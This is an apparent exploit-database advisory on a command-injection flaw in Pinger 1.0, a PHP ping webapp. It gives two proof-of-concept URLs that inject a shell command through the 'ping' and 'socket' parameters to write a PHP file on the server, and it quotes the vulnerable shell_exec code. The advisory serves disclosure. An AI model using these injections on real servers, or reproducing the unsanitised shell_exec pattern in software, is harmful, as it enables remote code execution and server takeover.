Pinger 1.0 - Remote Code Execution

# Title: Pinger 1.0 - Remote Code Execution
# Date: 2020-04-13
# Author: Milad Karimi
# Vendor Homepage: https://github.com/wcchandler/pinger
# Software Link: https://github.com/wcchandler/pinger
# Tested on: windows 10 , firefox
# Version: 1.0
# CVE : N/A

================================================================================
Pinger 1.0 - Simple Pinging Webapp Remote Code Execution
================================================================================
# Vendor Homepage: https://github.com/wcchandler/pinger
# Software Link: https://github.com/wcchandler/pinger
# Date: 2020.04.13
# Author: Milad Karimi
# Tested on: windows 10 , firefox
# Version: 1.0
# CVE : N/A
================================================================================
# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/pinger/ping.php?ping=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/pinger/ping.php?socket=;echo '<?php phpinfo(); ?>' >info.php


# Vulnerabile code:

    if(isset($_GET['ping'])){
      // if this is ever noticably slower, i'll pass it stuff when called
      // change the good.xml to config.xml, good is what I use at $WORK
      $xml = simplexml_load_file("config.xml");
      //$xml = simplexml_load_file("good.xml");
      if($_GET['ping'] == ""){
        $host = "127.0.0.1";
      }else{
        $host = $_GET['ping'];
      }
      $out = trim(shell_exec('ping -n -q -c 1 -w '.$xml->backend->timeout
                  .' '.$host.' | grep received | awk \'{print $4}\''));
      $id = str_replace('.','_',$host);

      if(($out == "1") || ($out == "0")){
        echo json_encode(array("id"=>"h$id","res"=>"$out"));
      }else{
        ## if it returns nothing, assume network is messed up
        echo json_encode(array("id"=>"h$id","res"=>"0"));
      }
    }

    if(isset($_GET['socket'])){
      $xml = simplexml_load_file("config.xml");
      //$xml = simplexml_load_file("good.xml");
      if($_GET['socket'] == ""){
        $host = "127.0.0.1 80";
      }else{
        $host = str_replace(':',' ',$_GET['socket']);
      }
      $out = shell_exec('nc -v -z -w '.$xml->backend->timeout.' '.$host.' 2>&1');
      $id = str_replace('.','_',$host);
      $id = str_replace(' ','_',$id);
      if(preg_match("/succeeded/",$out)){
        echo json_encode(array("id"=>"h$id","res"=>"1"));
      }else{
        ## if it returns nothing, assume network is messed up
        echo json_encode(array("id"=>"h$id","res"=>"0"));
      }
    }

    ?>